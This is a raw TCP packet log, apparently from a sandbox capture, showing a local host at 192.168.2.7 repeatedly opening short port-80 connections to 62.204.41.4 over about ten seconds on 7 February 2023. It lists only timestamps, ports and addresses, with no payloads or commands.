Feb 7, 2023 23:08:26.555006981 CET	80	50008	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.555212021 CET	50008	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.555660009 CET	50008	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.617350101 CET	80	50008	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.619647980 CET	80	50008	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.619874001 CET	50008	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.725264072 CET	50008	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.726373911 CET	50009	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.786922932 CET	80	50009	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.786952972 CET	80	50008	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.787146091 CET	50008	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.787936926 CET	50009	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.787936926 CET	50009	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.848476887 CET	80	50009	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.851175070 CET	80	50009	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:26.854512930 CET	50009	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.965426922 CET	50009	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:26.966181040 CET	50010	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.026325941 CET	80	50009	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.028611898 CET	50009	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.028681993 CET	80	50010	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.034538984 CET	50010	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.035129070 CET	50010	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.097738028 CET	80	50010	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.101217031 CET	80	50010	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.101356983 CET	50010	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.231831074 CET	50010	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.238220930 CET	50011	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.294421911 CET	80	50010	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.294647932 CET	50010	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.299758911 CET	80	50011	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.299887896 CET	50011	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.300770044 CET	50011	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.362267971 CET	80	50011	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.364865065 CET	80	50011	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.365060091 CET	50011	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.475486994 CET	50011	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.476985931 CET	50012	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.537261963 CET	80	50011	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.537448883 CET	50011	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.538729906 CET	80	50012	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.538974047 CET	50012	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.539545059 CET	50012	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.601248980 CET	80	50012	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.603720903 CET	80	50012	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.603835106 CET	50012	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.709556103 CET	50012	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.710714102 CET	50013	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.771476984 CET	80	50012	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.771511078 CET	80	50013	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.771609068 CET	50012	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.771706104 CET	50013	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.775981903 CET	50013	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.836620092 CET	80	50013	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.839906931 CET	80	50013	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:27.840106010 CET	50013	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.944550991 CET	50013	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:27.945887089 CET	50014	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.005218029 CET	80	50013	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.005422115 CET	50013	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.007477999 CET	80	50014	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.007708073 CET	50014	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.008248091 CET	50014	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.069868088 CET	80	50014	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.073843002 CET	80	50014	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.074196100 CET	50014	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.192998886 CET	50014	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.194065094 CET	50015	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.255014896 CET	80	50014	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.255052090 CET	80	50015	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.255172968 CET	50014	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.255265951 CET	50015	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.258645058 CET	50015	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.319730997 CET	80	50015	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.321769953 CET	80	50015	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.321918011 CET	50015	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.431881905 CET	50015	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.432955027 CET	50016	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.492558956 CET	80	50016	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.492660999 CET	80	50015	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.492799044 CET	50016	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.492844105 CET	50015	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.501580000 CET	50016	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.561178923 CET	80	50016	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.563205957 CET	80	50016	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.563292027 CET	50016	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.681533098 CET	50016	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.682558060 CET	50017	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.741265059 CET	80	50016	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.741390944 CET	50016	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.742934942 CET	80	50017	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.743074894 CET	50017	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.743484974 CET	50017	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.804393053 CET	80	50017	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.806921005 CET	80	50017	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.807141066 CET	50017	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.922796965 CET	50017	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.923693895 CET	50018	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.983401060 CET	80	50017	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.983575106 CET	50017	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.985090017 CET	80	50018	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:28.985228062 CET	50018	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:28.986006975 CET	50018	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.048854113 CET	80	50018	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.053009033 CET	80	50018	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.053162098 CET	50018	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.163701057 CET	50018	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.164613962 CET	50019	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.225418091 CET	80	50018	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.226171970 CET	80	50019	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.226615906 CET	50018	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.226681948 CET	50019	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.231062889 CET	50019	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.292731047 CET	80	50019	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.294914961 CET	80	50019	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.295213938 CET	50019	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.413379908 CET	50019	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.414251089 CET	50020	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.475069046 CET	80	50019	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.475172043 CET	50019	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.476773977 CET	80	50020	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.482780933 CET	50020	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.489589930 CET	50020	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.552253008 CET	80	50020	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.554568052 CET	80	50020	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.555366039 CET	50020	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.662302017 CET	50020	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.702403069 CET	50021	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.725629091 CET	80	50020	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.725969076 CET	50020	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.764851093 CET	80	50021	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.766763926 CET	50021	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.768912077 CET	50021	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.831377029 CET	80	50021	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.833816051 CET	80	50021	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:29.834016085 CET	50021	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.943188906 CET	50021	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:29.944251060 CET	50022	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.005676985 CET	80	50021	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.005753994 CET	80	50022	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.005912066 CET	50021	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.005971909 CET	50022	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.007206917 CET	50022	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.068680048 CET	80	50022	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.073004961 CET	80	50022	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.074985981 CET	50022	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.182081938 CET	50022	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.183115005 CET	50023	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.243604898 CET	80	50023	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.243663073 CET	80	50022	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.243869066 CET	50022	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.244868994 CET	50023	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.249608994 CET	50023	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.310105085 CET	80	50023	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.312088013 CET	80	50023	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.314870119 CET	50023	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.430212975 CET	50023	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.431766033 CET	50024	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.490763903 CET	80	50023	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.493345976 CET	80	50024	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.493565083 CET	50023	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.493664980 CET	50024	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.495661020 CET	50024	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.557612896 CET	80	50024	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.559978962 CET	80	50024	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.560193062 CET	50024	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.663563967 CET	50024	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.666249037 CET	50025	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.725158930 CET	80	50024	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.725292921 CET	50024	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.726829052 CET	80	50025	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.727147102 CET	50025	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.727716923 CET	50025	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.788264036 CET	80	50025	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.790111065 CET	80	50025	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.790317059 CET	50025	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.902949095 CET	50025	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.903728008 CET	50026	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.963565111 CET	80	50025	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.965481043 CET	80	50026	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:30.965662956 CET	50025	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.965764046 CET	50026	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:30.966267109 CET	50026	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.027842999 CET	80	50026	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.029891968 CET	80	50026	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.030072927 CET	50026	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.146433115 CET	50026	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.147376060 CET	50027	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.208201885 CET	80	50026	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.208390951 CET	50026	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.208780050 CET	80	50027	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.208957911 CET	50027	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.210464001 CET	50027	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.272063971 CET	80	50027	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.274440050 CET	80	50027	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.274627924 CET	50027	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.386740923 CET	50027	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.387856007 CET	50028	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.448528051 CET	80	50027	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.448569059 CET	80	50028	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.448724031 CET	50027	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.448792934 CET	50028	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.449239016 CET	50028	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.510046005 CET	80	50028	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.512262106 CET	80	50028	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.512422085 CET	50028	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.615510941 CET	50028	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.616579056 CET	50029	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.676732063 CET	80	50028	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.676949024 CET	50028	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.677035093 CET	80	50029	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.677164078 CET	50029	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.679572105 CET	50029	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.740186930 CET	80	50029	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.742604971 CET	80	50029	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.742759943 CET	50029	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.851448059 CET	50029	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.852238894 CET	50030	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.912607908 CET	80	50029	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.912820101 CET	50029	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.913938999 CET	80	50030	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.914074898 CET	50030	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.914465904 CET	50030	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:31.976183891 CET	80	50030	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.978188992 CET	80	50030	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:31.978374958 CET	50030	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.084918976 CET	50030	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.085783958 CET	50031	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.147068024 CET	80	50030	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.147176981 CET	50030	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.148243904 CET	80	50031	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.148355007 CET	50031	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.148799896 CET	50031	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.211369038 CET	80	50031	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.213572025 CET	80	50031	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.213706017 CET	50031	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.319128990 CET	50031	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.319905996 CET	50032	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.380403996 CET	80	50032	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.380578995 CET	50032	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.381692886 CET	80	50031	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.381819010 CET	50031	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.408441067 CET	50032	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.468763113 CET	80	50032	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.471019030 CET	80	50032	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.471105099 CET	50032	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.588393927 CET	50032	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.589106083 CET	50033	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.648857117 CET	80	50032	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.649005890 CET	50032	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.649331093 CET	80	50033	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.649456024 CET	50033	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.657521009 CET	50033	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.718085051 CET	80	50033	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.720254898 CET	80	50033	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.720397949 CET	50033	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.839396954 CET	50033	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.841722012 CET	50034	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.899878979 CET	80	50033	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.899960995 CET	50033	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.903320074 CET	80	50034	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.903441906 CET	50034	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.903822899 CET	50034	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:32.965447903 CET	80	50034	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.967792988 CET	80	50034	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:32.967947960 CET	50034	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.089042902 CET	50034	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.089783907 CET	50035	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.150495052 CET	80	50035	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.150671959 CET	80	50034	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.150814056 CET	50035	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.150867939 CET	50034	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.151525021 CET	50035	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.212287903 CET	80	50035	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.214391947 CET	80	50035	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.214519978 CET	50035	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.324317932 CET	50035	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.325356007 CET	50036	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.385309935 CET	80	50035	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.385566950 CET	50035	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.387641907 CET	80	50036	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.388014078 CET	50036	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.388753891 CET	50036	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.451051950 CET	80	50036	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.453290939 CET	80	50036	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.453393936 CET	50036	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.572755098 CET	50036	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.575156927 CET	50037	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.638169050 CET	80	50036	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.638223886 CET	80	50037	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.638344049 CET	50036	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.638411999 CET	50037	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.640086889 CET	50037	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:33.701617956 CET	80	50037	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.705540895 CET	80	50037	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:33.705713034 CET	50037	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.041819096 CET	50037	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.042666912 CET	50038	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.103241920 CET	80	50037	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.103373051 CET	80	50038	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.103396893 CET	50037	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.103544950 CET	50038	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.135274887 CET	50038	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.196137905 CET	80	50038	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.198477983 CET	80	50038	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.198609114 CET	50038	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.351850033 CET	50038	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.352643013 CET	50039	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.412691116 CET	80	50038	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.412857056 CET	50038	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.412961960 CET	80	50039	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.413105965 CET	50039	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.413705111 CET	50039	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.474176884 CET	80	50039	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.476334095 CET	80	50039	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.476533890 CET	50039	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.600501060 CET	50039	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.601360083 CET	50040	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.661190987 CET	80	50039	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.661365032 CET	50039	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:34.661950111 CET	80	50040	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:34.662122965 CET	50040	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.106091976 CET	50040	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.166956902 CET	80	50040	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:35.169405937 CET	80	50040	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:35.169528008 CET	50040	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.314346075 CET	50040	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.315107107 CET	50041	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.375402927 CET	80	50040	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:35.375619888 CET	50040	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.376624107 CET	80	50041	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:35.376758099 CET	50041	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.406745911 CET	50041	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:35.468409061 CET	80	50041	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:35.470330954 CET	80	50041	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:35.470516920 CET	50041	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.151124001 CET	50041	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.151866913 CET	50042	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.211585045 CET	80	50042	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:36.211807966 CET	50042	80	192.168.2.7	62.204.41.4
